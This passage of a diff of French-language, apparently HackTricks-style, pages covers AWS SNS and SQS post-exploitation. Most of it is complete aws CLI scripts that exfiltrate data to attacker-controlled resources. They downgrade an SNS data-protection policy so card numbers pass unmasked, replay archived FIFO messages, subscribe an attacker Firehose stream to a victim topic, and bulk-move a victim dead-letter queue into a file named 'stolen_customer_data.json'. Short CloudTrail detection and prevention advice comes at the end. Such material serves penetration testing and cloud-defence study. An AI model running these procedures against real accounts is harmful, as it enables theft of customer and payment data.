Un attaquant pourrait ajouter, modifier ou supprimer des balises des ressources SNS, perturbant l'allocation des coûts de votre organisation, le suivi des ressources et les politiques de contrôle d'accès basées sur les balises.
|
||||
```bash
|
||||
aws sns tag-resource --resource-arn <value> --tags Key=<key>,Value=<value>
|
||||
aws sns untag-resource --resource-arn <value> --tag-keys <key>
|
||||
```
|
||||
**Impact potentiel** : Perturbation de l'allocation des coûts, du suivi des ressources et des politiques de contrôle d'accès basées sur des balises.
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
@@ -0,0 +1,82 @@
|
||||
# AWS - SNS Post Exploitation
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## SNS
|
||||
|
||||
Pour plus d'informations :
|
||||
|
||||
{{#ref}}
|
||||
../../aws-services/aws-sns-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Perturbation des messages
|
||||
|
||||
Dans plusieurs cas, les SNS topics sont utilisés pour envoyer des messages vers des plateformes surveillées (emails, slack messages...). Si un attaquant empêche l'envoi des messages qui alertent de sa présence dans le cloud, il pourrait rester indétecté.
|
||||
|
||||
### `sns:DeleteTopic`
|
||||
|
||||
Un attaquant pourrait supprimer un SNS topic entier, entraînant la perte de messages et affectant les applications qui dépendent de ce topic.
|
||||
```bash
|
||||
aws sns delete-topic --topic-arn <value>
|
||||
```
|
||||
**Impact potentiel** : Perte de messages et interruption de service pour les applications utilisant le topic supprimé.
|
||||
|
||||
### `sns:Publish`
|
||||
|
||||
Un attaquant pourrait envoyer des messages malveillants ou indésirables au SNS topic, provoquant potentiellement la corruption de données, le déclenchement d'actions involontaires, ou l'épuisement des ressources.
|
||||
```bash
|
||||
aws sns publish --topic-arn <value> --message <value>
|
||||
```
|
||||
**Impact potentiel** : corruption de données, actions non désirées ou épuisement des ressources.
|
||||
|
||||
### `sns:SetTopicAttributes`
|
||||
|
||||
Un attaquant pourrait modifier les attributs d'un topic SNS, affectant potentiellement ses performances, sa sécurité ou sa disponibilité.
|
||||
```bash
|
||||
aws sns set-topic-attributes --topic-arn <value> --attribute-name <value> --attribute-value <value>
|
||||
```
|
||||
**Impact potentiel** : Mauvaise(s) configuration(s) entraînant une dégradation des performances, des problèmes de sécurité ou une disponibilité réduite.
|
||||
|
||||
### `sns:Subscribe` , `sns:Unsubscribe`
|
||||
|
||||
Un attaquant pourrait s'abonner ou se désabonner d'un topic SNS, obtenant potentiellement un accès non autorisé aux messages ou perturbant le fonctionnement normal des applications s'appuyant sur ce topic.
|
||||
```bash
|
||||
aws sns subscribe --topic-arn <value> --protocol <value> --endpoint <value>
|
||||
aws sns unsubscribe --subscription-arn <value>
|
||||
```
|
||||
**Potential Impact**: Accès non autorisé aux messages, interruption de service pour les applications qui dépendent du topic affecté.
|
||||
|
||||
### `sns:AddPermission` , `sns:RemovePermission`
|
||||
|
||||
Un attaquant pourrait accorder à des utilisateurs ou des services non autorisés l'accès à un topic SNS, ou révoquer les permissions d'utilisateurs légitimes, provoquant des perturbations dans le fonctionnement normal des applications qui s'appuient sur le topic.
|
||||
```bash
|
||||
aws sns add-permission --topic-arn <value> --label <value> --aws-account-id <value> --action-name <value>
|
||||
aws sns remove-permission --topic-arn <value> --label <value>
|
||||
```
|
||||
**Impact potentiel**: Accès non autorisé au topic, exposition des messages, ou manipulation du topic par des utilisateurs ou services non autorisés, perturbation du fonctionnement normal des applications s'appuyant sur le topic.
|
||||
|
||||
### `sns:TagResource` , `sns:UntagResource`
|
||||
|
||||
Un attaquant pourrait ajouter, modifier ou supprimer des tags sur les ressources SNS, perturbant l'allocation des coûts de votre organisation, le suivi des ressources et les politiques de contrôle d'accès basées sur les tags.
|
||||
```bash
|
||||
aws sns tag-resource --resource-arn <value> --tags Key=<key>,Value=<value>
|
||||
aws sns untag-resource --resource-arn <value> --tag-keys <key>
|
||||
```
|
||||
**Impact potentiel** : Perturbation de l'allocation des coûts, du suivi des ressources et des politiques de contrôle d'accès basées sur les tags.
|
||||
|
||||
### Autres techniques de Post-Exploitation SNS
|
||||
|
||||
{{#ref}}
|
||||
aws-sns-data-protection-bypass.md
|
||||
{{#endref}}
|
||||
|
||||
{{#ref}}
|
||||
aws-sns-fifo-replay-exfil.md
|
||||
{{#endref}}
|
||||
|
||||
{{#ref}}
|
||||
aws-sns-firehose-exfil.md
|
||||
{{#endref}}
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
@@ -0,0 +1,92 @@
|
||||
# AWS - SNS Message Data Protection : contournement via rétrogradation de la politique
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
Si vous avez `sns:PutDataProtectionPolicy` sur un topic, vous pouvez changer sa politique Message Data Protection de Deidentify/Deny en Audit-only (ou supprimer les contrôles Outbound) afin que des valeurs sensibles (par ex., numéros de carte de crédit) soient livrées non modifiées à votre abonnement.
|
||||
|
||||
## Prérequis
|
||||
- Permissions sur le topic cible pour appeler `sns:PutDataProtectionPolicy` (et généralement `sns:Subscribe` si vous voulez recevoir les données).
|
||||
- Topic SNS standard (Message Data Protection supporté).
|
||||
|
||||
## Étapes de l'attaque
|
||||
|
||||
- Variables
|
||||
|
||||
```bash
|
||||
REGION=us-east-1
|
||||
```
|
||||
|
||||
1) Créez un topic standard et une file SQS d'attaquant, et autorisez uniquement ce topic à envoyer vers la file
|
||||
|
||||
```bash
|
||||
TOPIC_ARN=$(aws sns create-topic --name ht-dlp-bypass-$(date +%s) --region $REGION --query TopicArn --output text)
|
||||
Q_URL=$(aws sqs create-queue --queue-name ht-dlp-exfil-$(date +%s) --region $REGION --query QueueUrl --output text)
|
||||
Q_ARN=$(aws sqs get-queue-attributes --queue-url "$Q_URL" --region $REGION --attribute-names QueueArn --query Attributes.QueueArn --output text)
|
||||
|
||||
aws sqs set-queue-attributes --queue-url "$Q_URL" --region $REGION --attributes Policy=Version:2012-10-17
|
||||
```
|
||||
|
||||
2) Attachez une data protection policy qui masque les numéros de carte de crédit dans les messages outbound
|
||||
|
||||
```bash
|
||||
cat > /tmp/ht-dlp-policy.json <<'JSON'
|
||||
{
|
||||
"Name": "__ht_dlp_policy",
|
||||
"Version": "2021-06-01",
|
||||
"Statement": [{
|
||||
"Sid": "MaskCCOutbound",
|
||||
"Principal": ["*"],
|
||||
"DataDirection": "Outbound",
|
||||
"DataIdentifier": ["arn:aws:dataprotection::aws:data-identifier/CreditCardNumber"],
|
||||
"Operation": { "Deidentify": { "MaskConfig": { "MaskWithCharacter": "#" } } }
|
||||
}]
|
||||
}
|
||||
JSON
|
||||
aws sns put-data-protection-policy --region $REGION --resource-arn "$TOPIC_ARN" --data-protection-policy "$(cat /tmp/ht-dlp-policy.json)"
|
||||
```
|
||||
|
||||
3) Abonnez la file de l'attaquant et publiez un message contenant un numéro de carte de test, vérifiez le masquage
|
||||
|
||||
```bash
|
||||
SUB_ARN=$(aws sns subscribe --region $REGION --topic-arn "$TOPIC_ARN" --protocol sqs --notification-endpoint "$Q_ARN" --query SubscriptionArn --output text)
|
||||
aws sns publish --region $REGION --topic-arn "$TOPIC_ARN" --message payment:{cc:4539894458086459}
|
||||
aws sqs receive-message --queue-url "$Q_URL" --region $REGION --max-number-of-messages 1 --wait-time-seconds 15 --message-attribute-names All --attribute-names All
|
||||
```
|
||||
|
||||
L'extrait attendu montre le masquage (hashes) :
|
||||
```json
|
||||
"Message" : "payment:{cc:################}"
|
||||
```
|
||||
4) Rétrograder la politique en audit-only (aucune instruction de deidentify/deny affectant Outbound)
|
||||
|
||||
Pour SNS, les statements Audit doivent être Inbound. Remplacer la politique par une instruction Inbound en Audit-only supprime toute dé-identification Outbound, donc les messages transitent non modifiés vers les subscribers.
|
||||
```bash
|
||||
cat > /tmp/ht-dlp-audit-only.json <<'JSON'
|
||||
{
|
||||
"Name": "__ht_dlp_policy",
|
||||
"Version": "2021-06-01",
|
||||
"Statement": [{
|
||||
"Sid": "AuditInbound",
|
||||
"Principal": ["*"],
|
||||
"DataDirection": "Inbound",
|
||||
"DataIdentifier": ["arn:aws:dataprotection::aws:data-identifier/CreditCardNumber"],
|
||||
"Operation": { "Audit": { "SampleRate": 99, "NoFindingsDestination": {} } }
|
||||
}]
|
||||
}
|
||||
JSON
|
||||
aws sns put-data-protection-policy --region $REGION --resource-arn "$TOPIC_ARN" --data-protection-policy "$(cat /tmp/ht-dlp-audit-only.json)"
|
||||
```
|
||||
|
||||
5) Publier le même message et vérifier que la valeur non masquée est livrée
|
||||
```bash
|
||||
aws sns publish --region $REGION --topic-arn "$TOPIC_ARN" --message payment:{cc:4539894458086459}
|
||||
aws sqs receive-message --queue-url "$Q_URL" --region $REGION --max-number-of-messages 1 --wait-time-seconds 15 --message-attribute-names All --attribute-names All
|
||||
```
|
||||
Extrait attendu montrant le CC en clair :
|
||||
```text
|
||||
4539894458086459
|
||||
```
|
||||
## Impact
|
||||
- Le passage d'un topic de de-identification/deny à audit-only (ou la suppression des Outbound controls) permet à PII/secrets de transiter sans modification vers des subscriptions contrôlées par un attaquant, autorisant une exfiltration de données qui aurait autrement été masquée ou bloquée.
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
@@ -0,0 +1,100 @@
|
||||
# SNS FIFO Archive Replay Exfiltration via Attacker SQS FIFO Subscription
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
Abus de l'archivage des messages d'un topic Amazon SNS FIFO pour rejouer et exfiltrer des messages publiés précédemment vers une file SQS FIFO contrôlée par l'attaquant en configurant l'attribut ReplayPolicy de la subscription.
|
||||
|
||||
- Service : Amazon SNS (FIFO topics) + Amazon SQS (FIFO queues)
|
||||
- Requirements : Le topic doit avoir ArchivePolicy activé (archivage des messages). L'attaquant peut Subscribe au topic et définir des attributs sur sa subscription. L'attaquant contrôle une SQS FIFO queue et autorise le topic à envoyer des messages.
|
||||
- Impact : Des messages historiques (publiés avant la subscription) peuvent être délivrés au endpoint contrôlé par l'attaquant. Les livraisons rejouées sont marquées avec Replayed=true dans l'enveloppe SNS.
|
||||
|
||||
## Preconditions
|
||||
- SNS FIFO topic avec archivage activé : `ArchivePolicy` (par ex. `{ "MessageRetentionPeriod": "2" }` pour 2 jours).
|
||||
- L'attaquant dispose des permissions suivantes :
|
||||
- `sns:Subscribe` sur le topic cible.
|
||||
- `sns:SetSubscriptionAttributes` sur la subscription créée.
|
||||
- L'attaquant a une SQS FIFO queue et peut attacher une queue policy permettant `sns:SendMessage` depuis le topic ARN.
|
||||
|
||||
## Minimum IAM permissions
|
||||
- Sur le topic : `sns:Subscribe`.
|
||||
- Sur la subscription : `sns:SetSubscriptionAttributes`.
|
||||
- Sur la queue : `sqs:SetQueueAttributes` pour la policy, et une queue policy autorisant `sns:SendMessage` depuis le topic ARN.
|
||||
|
||||
## Attack: Replay archived messages to attacker SQS FIFO
|
||||
L'attaquant inscrit sa SQS FIFO queue au topic SNS FIFO de la victime, puis définit le `ReplayPolicy` sur un timestamp passé (dans la fenêtre de rétention de l'archive). SNS rejoue immédiatement les messages archivés correspondants vers la nouvelle subscription et les marque avec `Replayed=true`.
|
||||
|
||||
Notes :
|
||||
- Le timestamp utilisé dans `ReplayPolicy` doit être >= le `BeginningArchiveTime` du topic. S'il est antérieur, l'API renvoie `Invalid StartingPoint value`.
|
||||
- Pour SNS FIFO `Publish`, vous devez spécifier un `MessageGroupId` (et soit un dedup ID soit activer `ContentBasedDeduplication`).
|
||||
|
||||
<details>
|
||||
<summary>End-to-end CLI POC (us-east-1)</summary>
|
||||
```bash
|
||||
REGION=us-east-1
|
||||
# Compute a starting point; adjust later to >= BeginningArchiveTime if needed
|
||||
TS_START=$(python3 - << 'PY'
|
||||
from datetime import datetime, timezone, timedelta
|
||||
print((datetime.now(timezone.utc) - timedelta(minutes=15)).strftime('%Y-%m-%dT%H:%M:%SZ'))
|
||||
PY
|
||||
)
|
||||
|
||||
# 1) Create SNS FIFO topic with archiving (2-day retention)
|
||||
TOPIC_NAME=htreplay$(date +%s).fifo
|
||||
TOPIC_ARN=$(aws sns create-topic --region "$REGION" \
|
||||
--cli-input-json '{"Name":"'"$TOPIC_NAME"'","Attributes":{"FifoTopic":"true","ContentBasedDeduplication":"true","ArchivePolicy":"{\"MessageRetentionPeriod\":\"2\"}"}}' \
|
||||
--query TopicArn --output text)
|
||||
|
||||
echo "Topic: $TOPIC_ARN"
|
||||
|
||||
# 2) Publish a few messages BEFORE subscribing (FIFO requires MessageGroupId)
|
||||
for i in $(seq 1 3); do
|
||||
aws sns publish --region "$REGION" --topic-arn "$TOPIC_ARN" \
|
||||
--message "{\"orderId\":$i,\"secret\":\"ssn-123-45-678$i\"}" \
|
||||
--message-group-id g1 >/dev/null
|
||||
done
|
||||
|
||||
# 3) Create attacker SQS FIFO queue and allow only this topic to send
|
||||
Q_URL=$(aws sqs create-queue --queue-name ht-replay-exfil-q-$(date +%s).fifo \
|
||||
--attributes FifoQueue=true --region "$REGION" --query QueueUrl --output text)
|
||||
Q_ARN=$(aws sqs get-queue-attributes --queue-url "$Q_URL" --region "$REGION" \
|
||||
--attribute-names QueueArn --query Attributes.QueueArn --output text)
|
||||
|
||||
cat > /tmp/ht-replay-sqs-policy.json <<JSON
|
||||
{"Version":"2012-10-17","Statement":[{"Sid":"AllowSNSSend","Effect":"Allow","Principal":{"Service":"sns.amazonaws.com"},"Action":"sqs:SendMessage","Resource":"$Q_ARN","Condition":{"ArnEquals":{"aws:SourceArn":"$TOPIC_ARN"}}}]}
|
||||
JSON
|
||||
# Use CLI input JSON to avoid quoting issues
|
||||
aws sqs set-queue-attributes --region "$REGION" --cli-input-json "$(python3 - << 'PY'
|
||||
import json, os
|
||||
print(json.dumps({
|
||||
'QueueUrl': os.environ['Q_URL'],
|
||||
'Attributes': {'Policy': open('/tmp/ht-replay-sqs-policy.json').read()}
|
||||
}))
|
||||
PY
|
||||
)"
|
||||
|
||||
# 4) Subscribe the queue to the topic
|
||||
SUB_ARN=$(aws sns subscribe --region "$REGION" --topic-arn "$TOPIC_ARN" \
|
||||
--protocol sqs --notification-endpoint "$Q_ARN" --query SubscriptionArn --output text)
|
||||
|
||||
echo "Subscription: $SUB_ARN"
|
||||
|
||||
# 5) Ensure StartingPoint is >= BeginningArchiveTime
|
||||
BEGIN=$(aws sns get-topic-attributes --region "$REGION" --topic-arn "$TOPIC_ARN" --query Attributes.BeginningArchiveTime --output text)
|
||||
START=${TS_START}
|
||||
if [ -n "$BEGIN" ]; then START="$BEGIN"; fi
|
||||
|
||||
aws sns set-subscription-attributes --region "$REGION" --subscription-arn "$SUB_ARN" \
|
||||
--attribute-name ReplayPolicy \
|
||||
--attribute-value "{\"PointType\":\"Timestamp\",\"StartingPoint\":\"$START\"}"
|
||||
|
||||
# 6) Receive replayed messages (note Replayed=true in the SNS envelope)
|
||||
aws sqs receive-message --queue-url "$Q_URL" --region "$REGION" \
|
||||
--max-number-of-messages 10 --wait-time-seconds 10 \
|
||||
--message-attribute-names All --attribute-names All
|
||||
```
|
||||
</details>
|
||||
|
||||
## Impact
|
||||
**Impact potentiel** : Un attaquant qui peut s'abonner à un SNS FIFO topic avec l'archivage activé et définir `ReplayPolicy` sur son abonnement peut immédiatement rejouer et exfiltrer des messages historiques publiés sur ce topic, et pas seulement les messages envoyés après la création de l'abonnement. Les messages livrés incluent un indicateur `Replayed=true` dans l'enveloppe SNS.
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
@@ -0,0 +1,76 @@
|
||||
# AWS - SNS vers Kinesis Firehose Exfiltration (Fanout vers S3)
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
Abusez le protocole de subscription Firehose pour enregistrer un Kinesis Data Firehose delivery stream contrôlé par un attacker sur un topic SNS standard victim. Une fois la subscription en place et que le rôle IAM requis fait confiance à `sns.amazonaws.com`, chaque notification future est durablement écrite dans le S3 bucket de l'attacker avec un minimum de bruit.
|
||||
|
||||
## Exigences
|
||||
- Permissions dans le compte de l'attacker pour créer un S3 bucket, un Firehose delivery stream, et le rôle IAM utilisé par Firehose (`firehose:*`, `iam:CreateRole`, `iam:PutRolePolicy`, `s3:PutBucketPolicy`, etc.).
|
||||
- La capacité de `sns:Subscribe` au topic victim (et optionnellement `sns:SetSubscriptionAttributes` si l'ARN du rôle de subscription est fourni après la création).
|
||||
- Une topic policy qui permet au principal attacker de s'abonner (ou l'attacker opère déjà dans le même compte).
|
||||
|
||||
## Étapes de l'attaque (exemple dans le même compte)
|
||||
```bash
|
||||
REGION=us-east-1
|
||||
ACC_ID=$(aws sts get-caller-identity --query Account --output text)
|
||||
SUFFIX=$(date +%s)
|
||||
|
||||
# 1) Create attacker S3 bucket and Firehose delivery stream
|
||||
ATTACKER_BUCKET=ht-firehose-exfil-$SUFFIX
|
||||
aws s3 mb s3://$ATTACKER_BUCKET --region $REGION
|
||||
|
||||
STREAM_NAME=ht-firehose-stream-$SUFFIX
|
||||
FIREHOSE_ROLE_NAME=FirehoseAccessRole-$SUFFIX
|
||||
|
||||
# Role Firehose assumes to write into the bucket
|
||||
aws iam create-role --role-name "$FIREHOSE_ROLE_NAME" --assume-role-policy-document '{
|
||||
"Version": "2012-10-17",
|
||||
"Statement": [{"Effect": "Allow","Principal": {"Service": "firehose.amazonaws.com"},"Action": "sts:AssumeRole"}]
|
||||
}'
|
||||
|
||||
cat > /tmp/firehose-s3-policy.json <<JSON
|
||||
{"Version":"2012-10-17","Statement":[{"Effect":"Allow","Action":["s3:AbortMultipartUpload","s3:GetBucketLocation","s3:GetObject","s3:ListBucket","s3:ListBucketMultipartUploads","s3:PutObject"],"Resource":["arn:aws:s3:::$ATTACKER_BUCKET","arn:aws:s3:::$ATTACKER_BUCKET/*"]}]}
|
||||
JSON
|
||||
aws iam put-role-policy --role-name "$FIREHOSE_ROLE_NAME" --policy-name AllowS3Writes --policy-document file:///tmp/firehose-s3-policy.json
|
||||
|
||||
aws firehose create-delivery-stream \
|
||||
--delivery-stream-name "$STREAM_NAME" \
|
||||
--delivery-stream-type DirectPut \
|
||||
--s3-destination-configuration RoleARN=arn:aws:iam::$ACC_ID:role/$FIREHOSE_ROLE_NAME,BucketARN=arn:aws:s3:::$ATTACKER_BUCKET \
|
||||
--region $REGION >/dev/null
|
||||
|
||||
# 2) IAM role SNS assumes when delivering into Firehose
|
||||
SNS_ROLE_NAME=ht-sns-to-firehose-role-$SUFFIX
|
||||
aws iam create-role --role-name "$SNS_ROLE_NAME" --assume-role-policy-document '{
|
||||
"Version": "2012-10-17",
|
||||
"Statement": [{"Effect": "Allow","Principal": {"Service": "sns.amazonaws.com"},"Action": "sts:AssumeRole"}]
|
||||
}'
|
||||
|
||||
cat > /tmp/allow-firehose.json <<JSON
|
||||
{"Version":"2012-10-17","Statement":[{"Effect":"Allow","Action":["firehose:PutRecord","firehose:PutRecordBatch"],"Resource":"arn:aws:firehose:$REGION:$ACC_ID:deliverystream/$STREAM_NAME"}]}
|
||||
JSON
|
||||
aws iam put-role-policy --role-name "$SNS_ROLE_NAME" --policy-name AllowFirehoseWrites --policy-document file:///tmp/allow-firehose.json
|
||||
|
||||
SNS_ROLE_ARN=arn:aws:iam::$ACC_ID:role/$SNS_ROLE_NAME
|
||||
|
||||
# 3) Subscribe Firehose to the victim topic
|
||||
TOPIC_ARN=<VICTIM_TOPIC_ARN>
|
||||
aws sns subscribe \
|
||||
--topic-arn "$TOPIC_ARN" \
|
||||
--protocol firehose \
|
||||
--notification-endpoint arn:aws:firehose:$REGION:$ACC_ID:deliverystream/$STREAM_NAME \
|
||||
--attributes SubscriptionRoleArn=$SNS_ROLE_ARN \
|
||||
--region $REGION
|
||||
|
||||
# 4) Publish test message and confirm arrival in S3
|
||||
aws sns publish --topic-arn "$TOPIC_ARN" --message 'pii:ssn-123-45-6789' --region $REGION
|
||||
sleep 90
|
||||
aws s3 ls s3://$ATTACKER_BUCKET/ --recursive
|
||||
```
|
||||
## Nettoyage
|
||||
- Supprimer la subscription SNS, le Firehose delivery stream, les rôles/policies IAM temporaires et le bucket S3 de l'attaquant.
|
||||
|
||||
## Impact
|
||||
**Impact potentiel** : Exfiltration continue et durable de chaque message publié sur le topic SNS ciblé vers un stockage contrôlé par l'attaquant avec une empreinte opérationnelle minimale.
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
@@ -0,0 +1,150 @@
|
||||
# AWS – SQS DLQ Redrive Exfiltration via StartMessageMoveTask
|
||||
|
||||
## Description
|
||||
|
||||
Abuser des tâches de déplacement de messages SQS pour voler tous les messages accumulés dans la Dead-Letter Queue (DLQ) d'une victime en les redirigeant vers une queue contrôlée par l'attaquant via `sqs:StartMessageMoveTask`. Cette technique exploite la fonctionnalité légitime de récupération de messages d'AWS pour exfiltrer des données sensibles qui se sont accumulées dans les DLQ au fil du temps.
|
||||
|
||||
## What is a Dead-Letter Queue (DLQ)?
|
||||
|
||||
Une Dead-Letter Queue est une queue SQS spéciale où les messages sont automatiquement envoyés lorsqu'ils n'ont pas pu être traités avec succès par l'application principale. Ces messages échoués contiennent souvent :
|
||||
- Données sensibles d'application qui n'ont pas pu être traitées
|
||||
- Détails d'erreur et informations de débogage
|
||||
- Personal Identifiable Information (PII)
|
||||
- API tokens, credentials, ou autres secrets
|
||||
- Données de transaction critiques pour l'entreprise
|
||||
|
||||
Les DLQ servent de « cimetière » pour les messages échoués, ce qui en fait des cibles de choix puisqu'elles accumulent au fil du temps des données sensibles que les applications n'ont pas pu traiter correctement.
|
||||
|
||||
## Attack Scenario
|
||||
|
||||
**Exemple réel :**
|
||||
1. **Application e-commerce** traite les commandes clients via SQS
|
||||
2. **Certaines commandes échouent** (problèmes de paiement, de stock, etc.) et sont déplacées vers une DLQ
|
||||
3. **La DLQ s'accumule** pendant des semaines/mois avec des commandes échouées contenant des données clients : `{"customerId": "12345", "creditCard": "4111-1111-1111-1111", "orderTotal": "$500"}`
|
||||
4. **L'attaquant obtient l'accès** à des identifiants AWS avec permissions SQS
|
||||
5. **L'attaquant découvre** que la DLQ contient des milliers de commandes échouées avec des données sensibles
|
||||
6. **Au lieu d'essayer d'accéder message par message** (lent et évident), l'attaquant utilise `StartMessageMoveTask` pour transférer en masse TOUS les messages vers sa propre queue
|
||||
7. **L'attaquant extrait** toutes les données sensibles historiques en une seule opération
|
||||
|
||||
## Requirements
|
||||
- La source doit être configurée comme DLQ (référencée par au moins une RedrivePolicy de queue).
|
||||
- Permissions IAM (exécutées en tant que le principal compromis) :
|
||||
- Sur la DLQ (source) : `sqs:StartMessageMoveTask`, `sqs:GetQueueAttributes`.
|
||||
- Sur la queue de destination : permission d'envoyer des messages (par ex. policy de queue autorisant `sqs:SendMessage` depuis le principal victime). Pour des destinations dans le même compte, cela est généralement autorisé par défaut.
|
||||
- Si SSE-KMS est activé : sur la CMK source `kms:Decrypt`, et sur la CMK de destination `kms:GenerateDataKey`, `kms:Encrypt`.
|
||||
|
||||
## Impact
|
||||
Exfiltration rapide de payloads sensibles accumulés dans les DLQ (événements échoués, PII, tokens, payloads applicatifs) en utilisant les API natives SQS. Fonctionne cross-account si la policy de la queue de destination permet `SendMessage` depuis le principal victime.
|
||||
|
||||
## How to Abuse
|
||||
|
||||
- Identifier l'ARN de la DLQ victime et vérifier qu'elle est bien référencée comme DLQ par au moins une queue (n'importe quelle queue convient).
|
||||
- Créer ou choisir une queue de destination contrôlée par l'attaquant et obtenir son ARN.
|
||||
- Lancer une tâche de déplacement de messages depuis la DLQ victime vers votre queue de destination.
|
||||
- Surveiller la progression ou annuler si nécessaire.
|
||||
|
||||
### CLI Example: Exfiltrating Customer Data from E-commerce DLQ
|
||||
|
||||
**Scenario**: Un attaquant a compromis des identifiants AWS et découvert qu'une application e-commerce utilise SQS avec une DLQ contenant des tentatives de traitement de commandes clients échouées.
|
||||
|
||||
1) **Découvrir et examiner la DLQ victime**
|
||||
```bash
|
||||
# List queues to find DLQs (look for names containing 'dlq', 'dead', 'failed', etc.)
|
||||
aws sqs list-queues --queue-name-prefix dlq
|
||||
|
||||
# Let's say we found: https://sqs.us-east-1.amazonaws.com/123456789012/ecommerce-orders-dlq
|
||||
VICTIM_DLQ_URL="https://sqs.us-east-1.amazonaws.com/123456789012/ecommerce-orders-dlq"
|
||||
SRC_ARN=$(aws sqs get-queue-attributes --queue-url "$VICTIM_DLQ_URL" --attribute-names QueueArn --query Attributes.QueueArn --output text)
|
||||
|
||||
# Check how many messages are in the DLQ (potential treasure trove!)
|
||||
aws sqs get-queue-attributes --queue-url "$VICTIM_DLQ_URL" \
|
||||
--attribute-names ApproximateNumberOfMessages
|
||||
# Output might show: "ApproximateNumberOfMessages": "1847"
|
||||
```
|
||||
2) **Créer une queue de destination contrôlée par l'attaquant**
|
||||
```bash
|
||||
# Create our exfiltration queue
|
||||
ATTACKER_Q_URL=$(aws sqs create-queue --queue-name hacker-exfil-$(date +%s) --query QueueUrl --output text)
|
||||
ATTACKER_Q_ARN=$(aws sqs get-queue-attributes --queue-url "$ATTACKER_Q_URL" --attribute-names QueueArn --query Attributes.QueueArn --output text)
|
||||
|
||||
echo "Created exfiltration queue: $ATTACKER_Q_ARN"
|
||||
```
|
||||
3) **Exécuter le vol massif de messages**
|
||||
```bash
|
||||
# Start moving ALL messages from victim DLQ to our queue
|
||||
# This operation will transfer thousands of failed orders containing customer data
|
||||
echo "Starting bulk exfiltration of $SRC_ARN to $ATTACKER_Q_ARN"
|
||||
TASK_RESPONSE=$(aws sqs start-message-move-task \
|
||||
--source-arn "$SRC_ARN" \
|
||||
--destination-arn "$ATTACKER_Q_ARN" \
|
||||
--max-number-of-messages-per-second 100)
|
||||
|
||||
echo "Move task started: $TASK_RESPONSE"
|
||||
|
||||
# Monitor the theft progress
|
||||
aws sqs list-message-move-tasks --source-arn "$SRC_ARN" --max-results 10
|
||||
```
|
||||
4) **Récolter les données sensibles volées**
|
||||
```bash
|
||||
# Receive the exfiltrated customer data
|
||||
echo "Receiving stolen customer data..."
|
||||
aws sqs receive-message --queue-url "$ATTACKER_Q_URL" \
|
||||
--attribute-names All --message-attribute-names All \
|
||||
--max-number-of-messages 10 --wait-time-seconds 5
|
||||
|
||||
# Example of what an attacker might see:
|
||||
# {
|
||||
# "Body": "{\"customerId\":\"cust_12345\",\"email\":\"john@example.com\",\"creditCard\":\"4111-1111-1111-1111\",\"orderTotal\":\"$299.99\",\"failureReason\":\"Payment declined\"}",
|
||||
# "MessageId": "12345-abcd-6789-efgh"
|
||||
# }
|
||||
|
||||
# Continue receiving all messages in batches
|
||||
while true; do
|
||||
MESSAGES=$(aws sqs receive-message --queue-url "$ATTACKER_Q_URL" \
|
||||
--max-number-of-messages 10 --wait-time-seconds 2 --output json)
|
||||
|
||||
if [ "$(echo "$MESSAGES" | jq '.Messages | length')" -eq 0 ]; then
|
||||
echo "No more messages - exfiltration complete!"
|
||||
break
|
||||
fi
|
||||
|
||||
echo "Received batch of stolen data..."
|
||||
# Process/save the stolen customer data
|
||||
echo "$MESSAGES" >> stolen_customer_data.json
|
||||
done
|
||||
```
|
||||
### Notes inter-comptes
|
||||
- La file de destination doit disposer d'une politique de ressources autorisant le principal de la victime à `sqs:SendMessage` (et, si utilisé, KMS grants/permissions).
|
||||
|
||||
## Pourquoi cette attaque est efficace
|
||||
|
||||
1. **Fonctionnalité légitime d'AWS** : Utilise des fonctionnalités natives d'AWS, ce qui la rend difficile à détecter comme malveillante
|
||||
2. **Opération par lots** : Transfère rapidement des milliers de messages au lieu d'un accès lent message par message
|
||||
3. **Données historiques** : Les DLQ accumulent des données sensibles sur des semaines/mois
|
||||
4. **Peu surveillé** : De nombreuses organisations ne surveillent pas de près l'accès aux DLQ
|
||||
5. **Capable inter-comptes** : Peut exfiltrer vers le compte AWS de l'attaquant si les permissions le permettent
|
||||
|
||||
## Détection et prévention
|
||||
|
||||
### Détection
|
||||
Surveillez CloudTrail pour des appels API `StartMessageMoveTask` suspects :
|
||||
```json
|
||||
{
|
||||
"eventName": "StartMessageMoveTask",
|
||||
"sourceIPAddress": "suspicious-ip",
|
||||
"userIdentity": {
|
||||
"type": "IAMUser",
|
||||
"userName": "compromised-user"
|
||||
},
|
||||
"requestParameters": {
|
||||
"sourceArn": "arn:aws:sqs:us-east-1:123456789012:sensitive-dlq",
|
||||
"destinationArn": "arn:aws:sqs:us-east-1:attacker-account:exfil-queue"
|
||||
}
|
||||
}
|
||||
```
|
||||
### Prévention
|
||||
1. **Principe du moindre privilège** : Restreindre les permissions `sqs:StartMessageMoveTask` aux seuls rôles nécessaires
|
||||
2. **Surveiller les DLQs** : Configurer des alarmes CloudWatch pour détecter une activité anormale des DLQs
|
||||
3. **Politiques inter-comptes** : Examiner attentivement les SQS queue policies autorisant l'accès entre comptes
|
||||
4. **Chiffrer les DLQs** : Utiliser SSE-KMS avec des key policies restreintes
|
||||
5. **Nettoyage régulier** : Ne laissez pas des données sensibles s'accumuler indéfiniment dans les DLQs
|
||||
@@ -1,73 +0,0 @@
|
||||
# AWS - SQS Post Exploitation
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## SQS
|
||||
|
||||
Pour plus d'informations, consultez :
|
||||
|
||||
{{#ref}}
|
||||
../aws-services/aws-sqs-and-sns-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### `sqs:SendMessage` , `sqs:SendMessageBatch`
|
||||
|
||||
Un attaquant pourrait envoyer des messages malveillants ou indésirables à la file d'attente SQS, ce qui pourrait entraîner une corruption des données, déclencher des actions non intentionnelles ou épuiser les ressources.
|
||||
```bash
|
||||
aws sqs send-message --queue-url <value> --message-body <value>
|
||||
